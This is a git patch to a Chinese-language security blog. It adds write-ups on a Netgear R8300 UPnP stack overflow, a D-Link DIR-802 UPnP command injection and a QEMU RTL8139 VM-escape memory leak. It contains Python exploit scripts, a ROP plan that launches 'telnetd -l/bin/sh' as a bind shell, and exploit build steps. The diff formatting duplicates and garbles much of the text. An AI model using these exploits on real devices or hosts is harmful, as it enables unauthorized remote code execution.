From dc18d69b3930b2e7c0d48505a5719c88eadd2602 Mon Sep 17 00:00:00 2001 From: Cool-Y <1072916769@qq.com> Date: Sun, 11 Apr 2021 14:53:08 +0800 Subject: [PATCH] Site updated: 2021-04-11 14:52:52 --- 2000/01/01/hello-world/index.html | 23 +- 2018/12/15/miio-control/index.html | 23 +- 2018/12/23/基于规则引擎发现IOT设备/index.html | 23 +- 2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html | 23 +- .../wifi半双工侧信道攻击学习笔记/index.html | 23 +- 2019/02/22/qq数据库的加密解密/index.html | 23 +- 2019/03/16/小米固件工具mkxqimage/index.html | 23 +- 2019/03/23/auto-send-WX/index.html | 23 +- 2019/03/25/Samba-CVE/index.html | 23 +- 2019/03/28/逆向工程实验/index.html | 23 +- 2019/04/15/Caving-db-storage/index.html | 23 +- 2019/04/21/XIAOMI-UPnP/index.html | 23 +- 2019/05/13/PE-file/index.html | 23 +- 2019/05/14/pack-and-unpack/index.html | 23 +- 2019/07/01/AFL-first-learn/index.html | 23 +- 2019/07/09/afl-first-try/index.html | 23 +- 2019/07/10/x86basic/index.html | 23 +- 2019/07/16/linux-pwn-32/index.html | 23 +- 2019/07/24/web-dvwa/index.html | 23 +- 2019/07/24/获取固件/index.html | 23 +- 2019/07/25/Debug-a-router-firmware/index.html | 23 +- 2019/10/25/PWNtw-start/index.html | 23 +- 2019/11/12/web-information-collect/index.html | 23 +- 2020/10/16/coremail/index.html | 23 +- 2021/01/08/Dolphin-Attack/index.html | 23 +- 2021/01/08/Netgear-psv-2020-0211/index.html | 67 ++- 2021/01/08/dolphin-attack-practice/index.html | 23 +- 2021/01/08/nvram-config/index.html | 39 +- .../DIR-802-OS-Command-Injection/index.html | 29 +- 2021/04/10/vm-escape1/index.html | 71 +-- about/index.html | 25 +- {hack之外 => album}/index.html | 65 ++- archives/2000/01/index.html | 23 +- archives/2000/index.html | 23 +- archives/2018/12/index.html | 23 +- archives/2018/index.html | 23 +- archives/2019/01/index.html | 23 +- archives/2019/02/index.html | 23 +- archives/2019/03/index.html | 23 +- archives/2019/04/index.html | 23 +- archives/2019/05/index.html | 23 +- archives/2019/07/index.html | 23 +- archives/2019/10/index.html | 23 +- archives/2019/11/index.html | 23 +- archives/2019/index.html | 23 +- archives/2019/page/2/index.html | 23 +- archives/2020/10/index.html | 23 +- archives/2020/index.html | 23 +- archives/2021/01/index.html | 23 +- archives/2021/03/index.html | 23 +- archives/2021/04/index.html | 23 +- archives/2021/index.html | 23 +- archives/index.html | 23 +- archives/page/2/index.html | 23 +- archives/page/3/index.html | 23 +- atom.xml | 465 ++++++++++++++++++ baidusitemap.xml | 24 +- bookmarks/index.html | 23 +- categories/IOT/index.html | 23 +- categories/Pwn/index.html | 23 +- categories/index.html | 23 +- categories/web/index.html | 23 +- categories/二进制/index.html | 23 +- categories/加密解密/index.html | 23 +- categories/杂七杂八/index.html | 23 +- categories/顶会论文/index.html | 23 +- content.json | 2 +- index.html | 29 +- page/2/index.html | 23 +- page/3/index.html | 23 +- search.xml | 8 +- sitemap.xml | 78 +-- tags/AFL/index.html | 23 +- tags/CVE/index.html | 23 +- tags/D-LINK/index.html | 23 +- tags/IoT/index.html | 23 +- tags/MiniUPnP/index.html | 23 +- tags/NVRAM/index.html | 23 +- tags/Netgear/index.html | 23 +- tags/PE/index.html | 23 +- tags/QEMU/index.html | 23 +- tags/QQ/index.html | 23 +- tags/SSH/index.html | 23 +- tags/Samba/index.html | 23 +- tags/TCPDUMP/index.html | 23 +- tags/UPnP/index.html | 23 +- tags/USENIX/index.html | 23 +- tags/Windows/index.html | 23 +- tags/ctf/index.html | 23 +- tags/index.html | 23 +- tags/itchat/index.html | 23 +- tags/linux/index.html | 23 +- tags/miio/index.html | 23 +- tags/phishing-email/index.html | 23 +- tags/pwn/index.html | 23 +- tags/web/index.html | 23 +- tags/wifi/index.html | 23 +- tags/中间人/index.html | 23 +- tags/二进制/index.html | 23 +- tags/传感器/index.html | 23 +- tags/侧信道攻击/index.html | 23 +- tags/信息泄露/index.html | 23 +- tags/取证/index.html | 23 +- tags/固件模拟/index.html | 23 +- tags/复原文件/index.html | 23 +- tags/密码/index.html | 23 +- tags/小米/index.html | 23 +- tags/微信/index.html | 23 +- tags/拒绝服务攻击/index.html | 23 +- tags/数据库/index.html | 23 +- tags/数据挖掘/index.html | 23 +- tags/文件格式/index.html | 23 +- tags/栈溢出/index.html | 23 +- tags/模糊测试/index.html | 23 +- tags/漏洞/index.html | 23 +- tags/破解/index.html | 23 +- tags/硬件层/index.html | 23 +- tags/硬件攻击/index.html | 23 +- tags/自然语言处理/index.html | 23 +- tags/语音助手/index.html | 23 +- tags/调试/index.html | 23 +- tags/路由器/index.html | 23 +- tags/远程执行/index.html | 23 +- tags/逆向/index.html | 23 +- tags/重放攻击/index.html | 23 +- tags/钓鱼邮件/index.html | 23 +- 126 files changed, 2903 insertions(+), 621 deletions(-) rename {hack之外 => album}/index.html (97%) create mode 100644 atom.xml diff --git a/2000/01/01/hello-world/index.html b/2000/01/01/hello-world/index.html index e088c630..8ba0a87a 100644 --- a/2000/01/01/hello-world/index.html +++ b/2000/01/01/hello-world/index.html @@ -81,6 +81,8 @@ + + @@ -247,12 +249,12 @@ -
嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf
由于没有真机,我们采用了固件模拟的方式来搭建分析环境。
首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
使用binwalk对固件中的特征字符串进行识别,可以看到R8300采用了squashfs文件系统格式
1 | $ binwalk R8300-V1.0.2.130_1.0.99.chk |
1 | binwalk R8300-V1.0.2.130_1.0.99.chk |
使用 binwalk -Me
提取出 Squashfs 文件系统,可以看到R8300为ARM v5架构.
1 | $ file usr/sbin/upnpd |
1 | file usr/sbin/upnpd |
直接使用firmadyne模拟R8300固件失败,一是网络接口初始化失败,二是NVRAM配置存在问题
原因可能是:
NVRAM库劫持失败,firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数https://github.com/firmadyne/libnvram
1 | $ ./fat.py 'Path to R8300 firmware file' |
1 | ./fat.py 'Path to R8300 firmware file' |
使用Qemu模拟固件需要下载对应的arm虚拟机镜像,内核和initrd。
https://people.debian.org/~aurel32/qemu/armhf/
1 | [debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M |
1 | [debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M |
标准的虚拟机启动命令为
1 | - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" |
对于R8300固件,在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:
-1 | `sudo tunctl -t tap0 -u `whoami` |
1 | sudo tunctl -t tap0 -u `whoami` |
与标准命令区别在于-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动之后输入用户名和密码,都是 root,为虚拟机分配 IP:
1 | `root@debian-armhf:~# ifconfig eth0 ``192.168``.``2.2``/``24` |
1 | root@debian-armhf:~# ifconfig eth0 192.168.2.2/24 |
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。
-1 | `root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc |
1 | root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc |
dlsym
nvram库的实现者还同时 hook 了 system
、fopen
、open
等函数,因此还会用到 dlsym
,/lib/libdl.so.0
导出了该符号。
1 | `$ grep ``-``r ``"dlsym"`` ``.` |
1 | $ grep -r "dlsym" . |
接下来要做的就是根据上面的日志补全配置信息,也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
-1 | `upnpd_debug_level=9 |
1 | upnpd_debug_level=9 |
1 | **# ./usr/sbin/upnpd** |
1 | ./usr/sbin/upnpd |
该漏洞的原理是使用strcpy函数不当,拷贝过长字符导致缓冲区溢出,那么如何到达溢出位置。
首先upnpd服务在sub_1D020()
中使用recvfrom()
从套接字接收UDP数据包,并捕获数据发送源的地址。从函数定义可知,upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54
recvfrom recvfrom函数(经socket接收数据):
@@ -596,14 +598,14 @@函数说明:recv()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
在 sub_25E04()
中调用 strcpy()
将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc
的 buffer。如果超过缓冲区大小,数据就会覆盖栈底部分甚至返回地址。
1 | ` ``+-----------------+` |
1 | +-----------------+ |
使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver
1 | # ps|grep upnp |
工作机上使用跨平台试gdb-multiarchgdb-multiarch -x dbgscript
dbgscript 内容
1 | `set`` architecture arm` |
1 | set architecture arm |
直接构造溢出字符,程序不会正常返回,因为栈上存在一个v40的指针v51,需要覆盖为有效地址才能正确返回。
1 | #!/usr/bin/python3 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v51
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
1 | #!/usr/bin/python3 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v51
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
可以看到,我们向返回地址发送的数据为0x43434343,但最后PC寄存器的值为0x43434342,最后一个bit变为0,这是为什么?https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
最后检查程序的缓解措施。程序本身开启了NX,之前用过R7000的真机,设备开了ASLR
在堆栈恢复前下一个断点,观察控制流转移情况,将PC指针控制为重启指令。通过 hook 的日志可以看到,ROP 利用链按照预期工作(由于模拟环境的问题,reboot 命令运行段错误了…)
1 | gef➤ b *0x00025F40 |
1 | gef➤ b *0x00025F40 |
综合目前的情况:
R4 - R11
以及 PC(R15)
寄存器strcpy()
函数导致的溢出,payload 中不能包含 \x00
字符。路由器已启用ASLR缓解功能,我们可以使用ROP攻击绕过该功能。但是,我们通过使用对NULL字节敏感的strcpy来执行复制调用,这反过来又会阻止我们使用ROP攻击。因此,要利用包含NULL字节的地址,我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(stack reuse
)
注意到recvfrom函数在接收 socket 数据时 buffer 未初始化,利用内存未初始化问题,我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC,每个 payload 前添加 \x00
防止程序崩溃(strcpy遇到\x00截断,不会拷贝后面部分)。
1 | #!/usr/bin/python3 |
1 | #!/usr/bin/python3 |
在strcpy下断点调试,并检查栈区内存
-1 | gef➤ info b |
1 | gef➤ info b |
此时程序上下文为
-1 | gef➤ context |
1 | gef➤ context |
由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
使用 strcpy
调用在 bss 上拼接出命令字符串 telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
,并调整 R0 指向这段内存,然后跳转 system
执行即可。
1 | import socket |
1 | import socket |
于是根据这两个事实做了两个实验:
该函数的逻辑如下,a1为要查询的key,a2为待比较的对应value,调用nvram_get获得nvram中a1的value,然后和a2比较,相同的话返回1。
-1 | const char *__fastcall acosNvramConfig_match(int a1, const char *a2) |
1 | const char *__fastcall acosNvramConfig_match(int a1, const char *a2) |
在upnp二进制程序汇编代码中,调用acosNvramConfig_match来比较nvram
我做出了一个假设:所有a2都是能够使程序正常运行的nvram值,现在想要获取它。编写IDA脚本如下:
1 | def GetAddr(func_name): |
1 | def GetAddr(func_name): |
粘贴部分结果,有大量的重复,还有许多键值不存在,假设不成立。
-1 | ('acosNvramConfig_match', '0xa3d4L') |
1 | ('acosNvramConfig_match', '0xa3d4L') |
如上所述,libnvram.so中data段存放着默认配置
利用IDApython获取该区域存放的键值,注意:该区域并不存放字符串,而是存放“存放字符串地址处”的地址,所以也要通过Doword来获取实际地址
1 | import idautils |
1 | import idautils |
这里我们只关注有upnp特征的键值对
-1 | .data [77868 94004](tel:7786894004) |
1 | .data [77868 94004](tel:7786894004) |
另外再补充几个与网络有关的配置
-1 | friendly_name=Netgear |
1 | friendly_name=Netgear |
使用这个配置成功仿真~
蒸米写的:https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html
https://cartermgj.github.io/2017/10/10/ida-python/
https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf
https://www.0xaa55.com/thread-1586-1-1.html
https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html
DIR-802中存在一个命令注入漏洞,攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
与CVE-2020-15893相似,在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下,端口1900上启用了通用即插即用(UPnP)。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”(ST)字段来执行命令注入。
1 | # coding: utf-8 |
使用firmadyne进行固件模拟,运行UPnP服务
攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口,该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
使用firmadyne进行固件模拟,运行UPnP服务
攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口,该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
KVM的用户空间组件包含在主线QEMU(快速仿真器)中,该QEMU特别处理设备仿真。
为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。
由于我们定位的漏洞已经修复,因此我们需要签出QEMU存储库的源,并切换到这些漏洞的修复之前的提交。 然后,我们仅为目标x86_64配置QEMU并启用调试,在我们的测试环境中,我们使用Gcc的4.9.2版构建QEMU:
-1 | $ git clone git://git.qemu-project.org/qemu.git |
1 | git clone git://git.qemu-project.org/qemu.git |
使用qemu-img来生成一个qcow2系统文件
-1 | **`$`**` ./qemu-img create -f qcow2 ubuntu.qcow2 20G` |
1 | ./qemu-img create -f qcow2 ubuntu.qcow2 20G` |
之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装,需要用-cdrom对iso镜像文件进行加载
-1 | $ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\ |
1 | ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\ |
安装完成后就获得了一个有系统的qcow2文件,我们分配2GB的内存并创建两个网络接口卡:RTL8139和PCNET,同时创建tap接口连接虚拟机和主机:
-1 | ✗ sudo tunctl -t tap0 -u `whoami` |
1 | ✗ sudo tunctl -t tap0 -u `whoami` |
使用vncviewer连接qemu
-1 | `apt-get install xvnc4viewer` |
1 | apt-get install xvnc4viewer |
分配给guest虚拟机的物理内存实际上是QEMU虚拟地址空间中mmapp专用的区域。 重要的是要注意,分配guest的物理内存时未启用PROT_EXEC标志。
下图说明了来宾的内存和主机的内存如何共存。
-1 | Guest' processes |
1 | Guest' processes |
此外,QEMU为BIOS和ROM保留了一个内存区域。 这些映射在QEMU映射文件中可用:
-1 | ✗ cat /proc/36220/maps |
1 | ✗ cat /proc/36220/maps |
有关虚拟化环境中内存管理的更详细说明,请参见:http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf
在QEMU中存在两个翻译层:Guest Virtual Address → Guest Physical Address → Host Virtual Address
在x64系统上,虚拟地址由页偏移量(位0-11)和页码组成。 在linux系统上,具有CAP_SYS_ADMIN特权的用户空间进程能够使用页面映射文件(pagemap )找出虚拟地址和物理地址的映射。 页面映射文件为每个虚拟页面存储一个64位值,其中physical_address = PFN * page_size + offset
1 | **- Bits 0-54 : physical frame number if present.** |
1 | - Bits 0-54 : physical frame number if present. |
将虚拟地址(Guest Virtual Address)转换为物理地址(Guest Physical Address)的过程包括
64wei每个页面的大小为 4096
字节,即 1 << 12
;
根据物理内存的 PFN (physical frame number)以及页内偏移,就可以计算出对应的物理地址;
1 | `physical_address = PFN * page_size + offset |
1 | physical_address = PFN * page_size + offset |
我们依靠Nelson Elhage的代码。 下面的程序分配一个缓冲区,并用字符串“Where am I?”填充它。 并打印其物理地址:
-1 | ---[ mmu.c ]--- |
1 | ---[ mmu.c ]--- |
静态编译好程序之后将其上传到 QEMU 虚拟机中以 root
身份执行,打印出物理地址为 0x73b17b20
在主机将gdb附加到QEMU进程,我们可以看到缓冲区位于为guest虚拟机分配的物理地址空间内。 更准确地说,输出的guest物理地址地址实际上是与guest物理内存基址的偏移量。
1 | ✗ sudo gdb qemu-system-x86_64 38140 |
1 | ✗ sudo gdb qemu-system-x86_64 38140 |
接下来,我们将利用CVE-2015-5165(一个会影响RTL8139网卡设备仿真器的内存泄漏漏洞)来重建QEMU的内存布局。 更准确地说,我们需要泄漏
REALTEK网卡支持两种 接收/发送 操作模式:C模式和C +模式。 当将网卡设置为使用C +时,网卡设备仿真器会错误地计算IP数据包数据的长度,最终发送的数据量会超出数据包中实际可用的数据量。
该漏洞存在于hw/net/rtl8139.c的 rtl8139_cplus_transmit_one 函数中:
-1 | /* ip packet header */ |
1 | /* ip packet header */ |
IP头包含两个字段hlen和ip-> ip_len,分别表示IP头的长度(考虑到不带选项的数据包,为20字节)和包括ip头的数据包的总长度。 如下面给出的代码片段末尾所示,在计算IP数据长度(ip_data_len)时,没有检查以确保 ip→ip_len >= hlen 。 由于ip_data_len字段被编码为unsigned short int,因此导致发送的数据多于发送缓冲区中实际可用的数据。
更精确地讲,ip_data_len稍后用于计算TCP数据的长度,如果该数据超过MTU的大小,则将其逐块复制到一个malloc缓冲区中:
-1 | int **tcp_data_len** **= ip_data_len - tcp_hlen;** |
1 | int tcp_data_len** **= ip_data_len - tcp_hlen; |
因此,如果我们伪造了长度损坏的畸形数据包(例如ip→ip_len = hlen-1),则可能会从QEMU的堆内存中泄漏大约64 KB。网卡设备仿真器将通过发送43个分段的数据包结束, 而不是发送单个数据包。
为了发送格式错误的数据包并读取泄漏的数据,我们需要在卡上配置Rx和Tx描述符缓冲区,并设置一些标志,以使我们的数据包流经易受攻击的代码路径。
下图显示了RTL8139寄存器。 我们将不详述所有这些内容,而是仅详述与我们的利用相关的那些内容:
-1 | +---------------------------+----------------------------+ |
1 | +---------------------------+----------------------------+ |
Rx/Tx描述符 由以下结构定义,其中buf_lo和buf_hi分别是Tx/Rx缓冲区的低32位和高32位物理存储地址。 这些地址指向保存要发送/接收的数据包的缓冲区,并且必须在页面大小边界上对齐。 变量dw0对缓冲区的大小以及其他标志(例如所有权标志)进行编码,以表示缓冲区是由网卡还是由驱动程序拥有。
-1 | struct rtl8139_desc { |
1 | struct rtl8139_desc { |
网卡通过in() out()原语(来自sys/io.h)进行配置。 为此,我们需要具有CAP_SYS_RAWIO特权。 以下代码段配置了网卡并设置了一个Tx描述符。
-1 | #define RTL8139_PORT 0xc000 |
1 |
|
phrack随附的源代码中提供了完整的利用(cve-2015-5165.c)。( uuencode用于将二进制文件编码为纯ASCII文本,以便可以通过电子邮件发送它们。)
cve-2015-5165.c依赖qemu.h头文件中的函数偏移地址,因此首先需要通过build-exploit.sh来进行计算。
1 | ./build-exploit.sh '/home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64' |
1 | ./build-exploit.sh '/home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64' |
该漏洞利用程序在网卡上配置所需的寄存器,并设置Tx和Rx缓冲区描述符。 然后,它伪造了格式错误的IP数据包,该IP数据包的目的地址和源地址为网卡的MAC地址。 这使我们能够通过访问已配置的Rx缓冲区来读取泄漏的数据。
通过对qemu运行程序下断点,可用看到漏洞触发的过程,由于ip_len小于伪造的hlen,导致最后tcp_data_len比实际的 tcp 数据大, 多余的内存区会被拷贝到包里发送出去(网卡需要配置为loopback 口)
1 | (gdb) b rtl8139.c:2173 |
1 | (gdb) b rtl8139.c:2173 |
虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。在分析泄漏的数据时,我们观察到存在多个函数指针。经过调试,发现这些函数指针都是struct ObjectProperty这个 qemu 内部结构体的数据。struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 get/set/resolve/release
-1 | typedef struct ObjectProperty |
1 | typedef struct ObjectProperty |
QEMU遵循对象模型来管理设备,内存区域等。启动时,QEMU创建多个对象并为其分配属性。 例如,以下的函数将“may-overlap”属性添加给一个内存区域对象。 此属性具有getter方法,可以检索此boolean属性的值:
-1 | object_property_add_bool(OBJECT(mr), "may-overlap", |
1 | object_property_add_bool(OBJECT(mr), "may-overlap", |
RTL8139网卡设备仿真器在堆上保留了64 KB的空间以重组数据包。 该分配的缓冲区很可能把释放掉的object properties的内存占位了。
在我们的漏洞利用中,我们在泄漏的内存中搜索已知的对象属性。更准确地说,我们正在寻找80个字节的内存块(块大小为已释放的ObjectProperty结构),其中至少设置了一个函数指针(get, set, resolve or release)。
即使这些地址受ASLR约束,我们仍然可以猜测.text节的基地址。
@@ -538,13 +540,13 @@plt**=**$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')
这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段。因此替换如下:
-+
1
2 #plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')
plt=.plt
1
2 plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')
plt=.plt- +
- Phrack 文章提供的 Exploit 代码中搜索的地址是PHY_MEM + 0x78,但实际上并不固定为0x78,更通用的做法是统计泄露的数据中出现的
uint64_t
类型的数据0x00007FXXYYZZZZZZ
,其中7FXXYY
出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;修改之后成功获得物理地址通过 gdb 调试验证结果正确性:
- +ref
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/
@@ -767,6 +769,13 @@ +
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp
https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/+ + + RSS + ++ @@ -850,7 +865,7 @@ - 104.8k + 104.4k diff --git a/about/index.html b/about/index.html index abad92c5..4994af52 100644 --- a/about/index.html +++ b/about/index.html @@ -80,6 +80,10 @@ + + + + @@ -247,12 +251,12 @@
如今,虚拟机已大量部署以供个人使用或在企业细分市场中使用。 网络安全供应商使用不同的VM在受控和受限的环境中分析恶意软件。 一个自然的问题出现了:恶意软件能否从虚拟机中逃脱并在主机上执行代码?
2015年,来自CrowdStrike的Jason Geffner报告了QEMU中的一个严重错误(CVE-2015-3456),该错误影响了虚拟软盘驱动器代码,这可能使攻击者从VM逃脱到主机。 此漏洞在netsec社区中引起了极大的关注,可能是因为它有一个专用名(VENOM),这并不是第一个此类漏洞。
2011年,Nelson Elhage在Blackhat 报告并成功利用了QEMU模拟PCI设备热插拔中的漏洞。
2016年,来自奇虎360的刘旭和王胜平在HITB 2016上展示了对KVM / QEMU的成功利用。 他们利用了两个不同的网卡设备仿真器模型RTL8139和PCNET中存在的两个漏洞(CVE-2015-5165和CVE-2015-7504)。 在他们的演讲中,他们概述了在主机上执行代码的主要步骤,但没有提供任何利用,也没有提供再现它的技术细节。
在本文中,我们提供了对CVE-2015-5165(一个内存泄漏漏洞)和CVE-2015-7504(一个基于堆的溢出漏洞)的深入分析,以及可利用的漏洞。 这两个漏洞的结合可让您从VM突围并在目标主机上执行代码。
我们讨论了技术细节,以利用QEMU的网卡设备仿真中的漏洞,并提供可以重新使用以利用QEMU未来错误的通用技术。 例如,利用共享内存区域和共享代码的交互式绑定外壳。
KVM(Kernal-based Virtual Machine,基于内核的虚拟机)是一个内核模块,可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。
KVM的用户空间组件包含在主线QEMU(快速仿真器)中,该QEMU特别处理设备仿真。
为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。
由于我们定位的漏洞已经修复,因此我们需要签出QEMU存储库的源,并切换到这些漏洞的修复之前的提交。 然后,我们仅为目标x86_64配置QEMU并启用调试,在我们的测试环境中,我们使用Gcc的4.9.2版构建QEMU:
1 | $ git clone git://git.qemu-project.org/qemu.git |
使用qemu-img来生成一个qcow2系统文件
1 | **`$`**` ./qemu-img create -f qcow2 ubuntu.qcow2 20G` |
之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装,需要用-cdrom对iso镜像文件进行加载
1 | $ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\ |
安装完成后就获得了一个有系统的qcow2文件,我们分配2GB的内存并创建两个网络接口卡:RTL8139和PCNET,同时创建tap接口连接虚拟机和主机:
1 | ✗ sudo tunctl -t tap0 -u `whoami` |
使用vncviewer连接qemu
1 | `apt-get install xvnc4viewer` |
分配给guest虚拟机的物理内存实际上是QEMU虚拟地址空间中mmapp专用的区域。 重要的是要注意,分配guest的物理内存时未启用PROT_EXEC标志。
下图说明了来宾的内存和主机的内存如何共存。
1 | Guest' processes |
此外,QEMU为BIOS和ROM保留了一个内存区域。 这些映射在QEMU映射文件中可用:
1 | ✗ cat /proc/36220/maps |
有关虚拟化环境中内存管理的更详细说明,请参见:http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf
在QEMU中存在两个翻译层:Guest Virtual Address → Guest Physical Address → Host Virtual Address
在x64系统上,虚拟地址由页偏移量(位0-11)和页码组成。 在linux系统上,具有CAP_SYS_ADMIN特权的用户空间进程能够使用页面映射文件(pagemap )找出虚拟地址和物理地址的映射。 页面映射文件为每个虚拟页面存储一个64位值,其中physical_address = PFN * page_size + offset
1 | **- Bits 0-54 : physical frame number if present.** |
将虚拟地址(Guest Virtual Address)转换为物理地址(Guest Physical Address)的过程包括
64wei每个页面的大小为 4096
字节,即 1 << 12
;
基于 /proc/pid/pagemap
可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame Number(PFN)等;
pagemap
文件为每个 Virtual Page 存储 64
位(即 8
字节)的信息,数据格式如上。对任意的虚拟地址 address
,基于 address/4096
可以计算出该虚拟地址在 pagemap
文件中的索引值, address/4096 * 8
即对应的文件偏移值,在该位置能够获取PFN信息;
页内偏移对任意的虚拟地址 address
,address%4096
即虚拟地址在对应的内存页中的偏移值;
根据物理内存的 PFN (physical frame number)以及页内偏移,就可以计算出对应的物理地址;
1 | `physical_address = PFN * page_size + offset |
我们依靠Nelson Elhage的代码。 下面的程序分配一个缓冲区,并用字符串“Where am I?”填充它。 并打印其物理地址:
1 | ---[ mmu.c ]--- |
静态编译好程序之后将其上传到 QEMU 虚拟机中以 root
身份执行,打印出物理地址为 0x73b17b20
在主机将gdb附加到QEMU进程,我们可以看到缓冲区位于为guest虚拟机分配的物理地址空间内。 更准确地说,输出的guest物理地址地址实际上是与guest物理内存基址的偏移量。
1 | ✗ sudo gdb qemu-system-x86_64 38140 |
接下来,我们将利用CVE-2015-5165(一个会影响RTL8139网卡设备仿真器的内存泄漏漏洞)来重建QEMU的内存布局。 更准确地说,我们需要泄漏
REALTEK网卡支持两种 接收/发送 操作模式:C模式和C +模式。 当将网卡设置为使用C +时,网卡设备仿真器会错误地计算IP数据包数据的长度,最终发送的数据量会超出数据包中实际可用的数据量。
该漏洞存在于hw/net/rtl8139.c的 rtl8139_cplus_transmit_one 函数中:
1 | /* ip packet header */ |
IP头包含两个字段hlen和ip-> ip_len,分别表示IP头的长度(考虑到不带选项的数据包,为20字节)和包括ip头的数据包的总长度。 如下面给出的代码片段末尾所示,在计算IP数据长度(ip_data_len)时,没有检查以确保 ip→ip_len >= hlen 。 由于ip_data_len字段被编码为unsigned short int,因此导致发送的数据多于发送缓冲区中实际可用的数据。
